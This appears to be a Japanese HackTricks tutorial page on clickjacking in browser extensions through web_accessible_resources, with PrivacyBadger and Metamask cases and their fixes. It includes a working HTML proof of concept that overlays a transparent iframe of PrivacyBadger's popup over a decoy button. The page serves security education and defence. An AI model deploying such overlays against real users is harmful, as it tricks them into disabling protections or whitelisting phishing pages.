8.2 KiB
BrowExt - ClickJacking
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
基本情報
このページでは、ブラウザ拡張機能のClickJacking脆弱性を悪用します。
ClickJackingとは何かわからない場合は、次を確認してください:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
拡張機能には**manifest.json
**というファイルが含まれており、そのJSONファイルにはweb_accessible_resources
というフィールドがあります。Chromeのドキュメントには次のように記載されています:
これらのリソースは、**
chrome-extension://[PACKAGE ID]/[PATH]
というURLを介してウェブページで利用できるようになります。このURLはextension.getURLメソッド
**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。1
ブラウザ拡張機能の**web_accessible_resources
**はウェブを介してだけでなく、拡張機能固有の権限で動作します。これは次のことを意味します:
- 拡張機能の状態を変更する
- 追加のリソースを読み込む
- ブラウザとある程度やり取りする
ただし、この機能にはセキュリティリスクがあります。**web_accessible_resources
**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化する可能性があります。このアクティブ化により、拡張機能のリソースの権限と機能に応じて意図しない結果が発生する可能性があります。
PrivacyBadgerの例
拡張機能PrivacyBadgerでは、skin/
ディレクトリが以下のようにweb_accessible_resources
として宣言されている脆弱性が特定されました(元のブログ投稿を参照してください)。
"web_accessible_resources": [
"skin/*",
"icons/*"
]
この構成により、潜在的なセキュリティ問題が発生しました。具体的には、ブラウザでPrivacyBadgerアイコンをクリックすると表示されるskin/popup.html
ファイルがiframe
内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤って「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせるよう悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡される可能性が高まります。この脆弱性の実証として、ClickJackingのビデオ例が提供されています。https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webmで確認できます。
この脆弱性に対処するために、簡単な解決策が実装されました:web_accessible_resources
のリストから/skin/*
を削除すること。この変更により、skin/
ディレクトリのコンテンツがWebアクセス可能なリソースを介してアクセスまたは操作されないようにリスクが効果的に軽減されました。
修正は簡単でした:web_accessible_resources
から/skin/*
を削除。
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamaskの例
MetamaskのClickJackingに関するブログ投稿はこちらで見つけることができます。この場合、Metamaskは、アクセスに使用されるプロトコルが https:
または http:
(例えば chrome:
ではない)であることを確認することで脆弱性を修正しました:
Metamask拡張機能で修正された別のClickJackingは、ページがフィッシングの疑いがあるとして疑わしいときにClick to whitelistできるようになっていたことです。“web_accessible_resources”: [“inpage.js”, “phishing.html”]
のため、そのページはClickjackingの脆弱性があり、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。
Steam Inventory Helperの例
次のページをチェックして、ブラウザ拡張機能のXSSがClickJackingの脆弱性と連鎖した方法を確認してください:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
参考文献
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを手に入れる
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。